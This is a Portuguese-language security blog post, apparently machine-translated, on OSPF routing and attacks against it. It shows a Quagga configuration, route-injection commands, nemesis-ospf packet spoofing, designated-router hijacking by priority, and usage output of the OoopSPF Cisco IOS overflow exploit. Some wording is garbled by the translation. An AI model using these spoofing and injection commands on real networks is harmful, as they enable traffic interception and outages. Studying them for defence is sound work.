Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

Ambiente com o protocolo OSPF.

Обновлено 24.09.2025 11:59

Petukhov Oleg, advogado de Direito Internacional e proteção de dados pessoais, especialista em informação segurança, proteção de informações e dados pessoais.

Canal do Telegram: https://t.me/protecaodaInformacao

Grupo em Telegram: https://t.me/protecaodaInformacao1

Site: https://legascom.ru

Correio eletrónico: online@legascom.ru

 

#segurançadaInformação #Segurançadainformação

O protocolo de roteamento OSPF (Open Shortest Path First) é mais adequado para redes IP unificadas dinâmicas de grande porte com múltiplos caminhos. Normalmente, o protocolo de roteamento OSPF é usado para roteamento em redes corporativas que contêm uma média de 50 LANs e vários milhares de hosts.

Para uma melhor compreensão, compare RIP e OSPF.

OSPF é um link-state protocol, ao contrário do RIP, que é um distance-vector protocol. Cada roteador atualiza sua tabela de roteamento com base nos vetores de distância que recebe de seus vizinhos.

Ao usar o protocolo de Estado do canal, o roteador não compartilha informações de distância com seus vizinhos. Em vez disso, cada roteador verifica ativamente o status de seus canais que levam a cada roteador vizinho e envia essas informações para outros vizinhos, que podem direcionar o fluxo de dados para um sistema autônomo. Cada roteador recebe informações sobre o estado do canal e, com base nisso, constrói uma tabela de roteamento completa.

Na rede apresentada, a rota ideal entre Source e Destination será reconhecida com dois roteadores vermelhos. A razão para isso são os canais mais rápidos nesta rota.

Em termos práticos, a principal diferença é que o protocolo de Estado do canal é significativamente mais rápido do que o protocolo de vetor de distância. Deve-se notar que, no caso do protocolo de Estado do canal, a convergência da rede é muito mais rápida. O conceito de convergência de Protocolo geralmente se refere à estabilização da rede após mudanças, como falhas de roteador ou falhas de canal.

O OSPF também difere do RIP (como muitos outros protocolos de roteamento) na medida em que usa diretamente o IP. Isso significa que ele não usa UDP ou TCP. O OSPF tem seu próprio identificador, que é definido no campo de protocolo no cabeçalho IP.

Consequentemente, os ataques ao OSPF são mais complexos do que os ataques ao RIP. As principais dificuldades são as seguintes:

1) o roteador do invasor precisa Samar o pacote HELLO para trocar informações de roteamento com outros roteadores;

2) dependência da hierarquia de roteadores envolvidos na troca de informações de roteamento OSPF. Os roteadores envolvidos na troca podem ter diferentes níveis em um esquema de roteamento hierárquico.

Com essas complexidades em mente, vamos considerar os principais ataques ao OSPF.

O objetivo deste ataque é apresentar a rota que passa pela máquina do atacante como tendo a maior largura de banda. Um dos critérios para escolher a melhor rota no OSPF é a métrica calculada pela fórmula

métrica = reference bandwidth / link bandwidth,

onde reference bandwidth = 108, link bandwidth é a largura de banda do canal.

Por exemplo, para canais de 100 MBS, o valor da métrica é 1, Para 10 MBS, 10, etc.

Assim, o atacante precisa definir uma métrica para sua rota como 1 para priorizá-la.

!

! Zebra configuration saved from vty

! 2005/08/16 01:22:41

!

hostname legitimate.ospfd

password 8 p@ssw0rd>

enable password 8 Cb/yfFsI.abqs

log file /var/log/quagga/ospfd.log

service advanced-vty

service password-encryption

!

!

interface eth0

description DMZ_Network

ip ospf authentication message-digest

ip ospf message-digest-key 1 md5 secret_key

!

interface eth1

!

interface 10

!

interface tun10

!

router ospf

ospf router-id 192.168.20.111

redistribute kernel

redistribute connected

network 192.168.20.0/24 area 0.0.0.0

area 0.0.0.0 authentication message-digest

!

line vty

exec-timeout 30 0

!

Quando a conexão de roteamento OSPF foi feita com sucesso, é necessário verificar o estado atual das informações de roteamento usando o comando show ip opsf:

legitimate.ospfd# show ip ospf

OSPF Routing Process, Router ID: 192.168.20.111

Supports only single TOS (TOS0) routes

This implementation conforms to RFC2328

RFC1583Compatibility flag is disabled

OpaqueCapability flag is disabled

SPF schedule delay 1 secs, Hold time between two SPFs 1 secs

Refresh timer 10 secs

This router is an ASBR (injecting external routing information)

Number of external LSA 4. Checksum Sum 0x00025f81

Number of opaque AS LSA 0. Checksum Sum 0x00000000

Number of areas attached to this router: 1

Area ID: 0.0.0.0 (Backbone)

Number of interfaces in this area: Total: 1, Active: 1

Number of fully adjacent neighbors in this area: 2

Area has message digest authentication

SPF algorithm executed 29 times

Number of LSA 9

Number of router LSA 4. Checksum Sum 0x00025166

Number of network LSA 1. Checksum Sum 0xffff90fa

Number of summary LSA 2. Checksum Sum 0x000166c2

Number of ASBR summary LSA 2. Checksum Sum 0x00014713

Number of NSSA LSA 0. Checksum Sum 0x00000000

Number of opaque link LSA 0. Checksum Sum 0x00000000

Number of opaque area LSA 0. Checksum Sum 0x00000000

Em seguida, adicione as rotas apropriadas:

kali / # ip route add 64.100.0.0/14 dev eth0

kali / # ip route add 128.107.0.0/16 dev eth0

Certifique-se de que essas rotas foram adicionadas com sucesso à troca OSPF:

legitimate.ospfd# sh ip ospf route

============ OSPF external routing table ===========

N E2 64.100.0.0/14 [10/20] tag: 0

via 192.168.66.111, eth0

N E2 128.107.0.0/16 [10/20] tag: 0

via 192.168.66.111, eth0

192.168.66.111 é o carro do intruso.

Para realizar esse ataque, você também pode usar o Utilitário Nemesis mencionado anteriormente, ou melhor, sua modificação projetada especificamente para trabalhar com OSPF. Aqui está uma lista de opções deste utilitário:

kali / # ./nemesis-ospf

OSPF Packet Injection -=The NEMESIS Project 1.1

I 1999, 2000 obecian <obecian@celerity.bartoli.org>;

OSPF usage:

./nemesis-ospf [-v] [optlist]

OSPF Packet Types:

-p <OSPF Protocol>

-pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router),

-pN LSA (network), -pM LSA (summary), -pA LSA (AS)

OSPF HELLO options:

-N <Neighbor Router Address>

-i >Dead Router Interval>

-l <OSPF Interval>

OSPF DBD options:

-z <MAX DGRAM Length>

-x <Exchange Type>

OSPF LSU options:

-B <num of LSAs to bcast>

OSPF LSA related options:

-L <router id>

-G <LSA age>

OSPF LSA_RTR options:

-u <LSA_RTR num>

-y <LSA_RTR router type>

-k <LSA_RTR router data>

OSPF LSA_AS_EXT options:

-f <LSA_AS_EXT forward address>

-g <LSA_AS_EXT tag>

OSPF options:

-m <OSPF Metric>

-s <Sequence Number>

-r <Advertising Router Address>

-n >OSPF Netmask>

-O <OSPF Options>

-R <OSPF Router id>

-A <OSPF Area id>

-P <Payload File (Binary or ASCII)>

(-v VERBOSE packet struct to stdout)

IP Options

-S <Source Address>

-D <Destination Address>

-I <IP ID>

-T <IP TTL>

-t <IP/OSPF tos>

-F <IP frag>

-o <IP Options>

Data Link Options:

-d <Ethernet Device>

-H <Source MAC Address>

-M <Destination MAC Address>

É necessário especificar a fonte, o destinatário, o protocolo e as opções correspondentes. Por exemplo, para enviar um pacote Hello falso OSPF Neighbor, o roteador precisa executar o seguinte comando:

Kali / # ./nemesis-ospf –v –pH –N 128.107.0.1

Uma implementação alternativa desse ataque pode ser a geração de atualizações falsas do OSPF LSA, que também pode ser implementada com o nemesis.

Kali / # ./nemesis-ospf –v –pR LSA 128.107.0.1

Nós nos tornamos um roteador OSPF designated - ou Backup Designated.

Redes de médio e grande porte que usam OSPF usam uma hierarquia de roteadores específica. Em grandes redes que usam dezenas ou mesmo centenas de roteadores, manter informações atualizadas é uma tarefa muito intensiva em recursos. A hierarquia é usada para dividir as tarefas de construção de tabelas de roteamento e reduzir a carga nos dispositivos. No nível superior dessa hierarquia, o roteador mais produtivo geralmente está presente. Esse roteador é chamado de roteador projetado. O objetivo deste dispositivo é a transmissão eficiente de informações de roteamento atualizadas para todos os roteadores envolvidos na troca de OSPF.

Em caso de falha, o Designated router deve ser substituído pelo Backup designated router, ou seja, o roteador de backup de nível superior.

O Designated router é escolhido por votação com base na prioridade do router e no seu endereço IP.

Um invasor pode tentar se tornar esse roteador projetado.

Se o DR for priorizado em 255 e o BDR em 254, a eleição não pode ser vencida. No entanto, muitos administradores não usam valores de prioridade máxima, atribuindo DR e BDR 100 e 10 ou 2 e 1, respectivamente. Às vezes, DR e BDR são atribuídos os endereços IP mais adequados.

Assim, o atacante, a fim de fazer o seu roteador designated, o suficiente para definir como é feita a seleção de DR, e, com base nisso, falsificar a prioridade ou o endereço IP.

No Quagga, você pode definir a prioridade usando o seguinte comando:

ip ospf priority 255

Se o DR e o BDR tiverem prioridades máximas, você pode tentar desabilitá-los com os vários ataques de rede descritos neste livro e, em seguida, tentar substituir seu roteador falso.

Invasão do OSPF MD5.

O protocolo OSPF utiliza a autenticação MD5 para proteção. Assim, semelhante à violação do MD5 no RIP, essa proteção também pode ser quebrada aqui.

Isso requer Cain & Abel. O processo de hacking em si é semelhante ao descrito nos posts sobre hacking RIP, então não vamos descrevê-lo aqui.

Ataque ao OSPF usando o exploit Oopspf. Os roteadores Cisco IOS 11.2, 11.3 e 12.0 podem estourar o buffer quando um grande número de pacotes OSPF HELLO são recebidos. O conceito que implementa essa vulnerabilidade é apresentado no site oficial:

arhontus / # perl IOStack.pl -d 192.168.66.202 -p ****** -e ****** -r stackdump

***********************************************************************

IOSSTRING: IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6),

RELEASE SOFTWARE (fc3)

IMAGE: flash:c2600-ik9o3s3-mz.123-6.bin

MEMORY: 61440K/4096K

ARRAY: 82A7E210

PID RECORD STACK RETURNA RETURNV NAME

<skip>

90 830CFF04 831FCD80 831fcd84 80446D50 OSPF Hello

150 82D290A8 831FFCA0 831ffca4 80446D50 OSPF Router

<skip>

arhontus / # ./OoopSPF

Phenoelit OoopSPF

Cisco IOS OSPF remote exploit (11.2.-12.0)

(C) 2002/2003 FX of Phenoelit <fx@phenoelit.de>;

Usage:

./OoopSPF -s <src net> -n <src mask> -d <target rtr ip> -f <file> -t <targ#>

Options:

-s <src net> Use this network as source (as in target config)

-n <src mask> Use this netmask as source (as in target config)

-d <target> This is the target router interface IP

-f <file> Use this as the new config for the router

-t # Use this target value set (see below)

-a <area> Use this OSPF area

-v Be verbose (-vv or -vvv recommended)

-D Directed attack (unicast) for 11.x targets

-T Test only – don't send

--- barely used options ---

-L # Number of neighbors to announce (overflow size)

-F # Start of data (seen reverse to overflow)

-S # NOP sleet

Na próxima postagem, abordaremos as questões de segurança do protocolo de roteamento OSPF.